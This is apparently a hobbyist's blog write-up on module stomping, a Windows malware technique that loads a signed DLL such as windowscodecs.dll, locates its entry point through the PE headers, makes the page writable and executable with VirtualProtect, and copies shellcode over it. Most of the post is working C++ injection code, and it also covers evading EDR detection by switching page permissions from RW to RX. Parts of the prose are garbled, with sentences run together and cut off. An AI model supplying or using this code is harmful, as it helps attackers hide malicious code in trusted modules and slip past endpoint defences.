It is a technique used to hide malicious code within memory by overwriting the space of a loaded DLL (typically a digitally signed DLL for evasion purposes).
Please dont be offended by my c++ skills (Noobie alert).
LoadLibraryEx or LdrLoadDll. (Note: It is often better to trigger a legitimate load event than to manually map a new, unsigned DLL).PAGE_EXECUTE_READWRITE using VirtualProtect..text section, target the entry point via OptionalHeader.AddressOfEntryPoint, heck we can even target a specific exported function or rewrite the whole DLL and manually map the entire DLL which is not module stomping and more for creating a loader which is currently far beyond my smooth brain's processing power. We will keep it simple as is . And always consider the risk-to-reward ratio regarding stealth versus the risk of a process crash.PAGE_EXECUTE_READ to look more "natural." Finally, a thread is started at the beginning of the stomped region. You can trigger execution using a proxy, an "on-load" method, or any other hijacking means.
For starters to understand the whole mapping of a process u can check PE format
Here our goal is to start from the DOS Header and walk through to find AddressOfEntryPoint. TO do so weIMAGE_NT_HEADERS using e_lfanew byte.AddressOfEntryPoint

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hTargetDll;
PIMAGE_NT_HEADERS ntHeaders =
(PIMAGE_NT_HEADERS)((BYTE*)hTargetDll + dosHeader->e_lfanew);
LPVOID targetAddr =
(LPVOID)((BYTE*)hTargetDll +
ntHeaders->OptionalHeader.AddressOfEntryPoint);
The full logic
HMODULE hTargetDll = LoadLibrary(L"windowscodecs.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hTargetDll;
PIMAGE_NT_HEADERS ntHeaders =
(PIMAGE_NT_HEADERS)((BYTE*)hTargetDll + dosHeader->e_lfanew);
LPVOID targetAddr =
(LPVOID)((BYTE*)hTargetDll +
ntHeaders->OptionalHeader.AddressOfEntryPoint);
//Changing the permission
SYSTEM_INFO si;
GetSystemInfo(&si);
//Check the size of the page .
SIZE_T pageSize = si.dwPageSize;
//check size of sc
unsigned int sc_size = sizeof(sc);
uintptr_t addr = reinterpret_cast<uintptr_t>(targetAddr);
uintptr_t addrEnd = addr + sc_size;
// Align down to page boundary
uintptr_t pageStart = addr & ~(pageSize - 1);
uintptr_t pageEnd = (addrEnd + pageSize - 1) & ~(pageSize - 1);
SIZE_T totalProtectSize = pageEnd - pageStart;
// Define size we want
DWORD oldProtect;
// Change protection of one page
VirtualProtect(
reinterpret_cast<LPVOID>(pageStart),
totalProtectSize,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
//Copy our shellcode
memcpy(targetAddr, sc, sc_size);
//checking for erros
IT works . As it should.
LoadLibrary triggers a chain of events so quickly that our shellcode gets stomped before the LoadLibrary event even finishes.My next task involves experimenting with the following:
PAGE_EXECUTE_READWRITE: Since EDRs treat RWX permissions like a giant "arrest me" sign, I’ve already got a workaround. I’m switching to RW for the memcpy and then pivoting to RX for execution, rather than making the entire memory space a RWX. (Flip Flop method)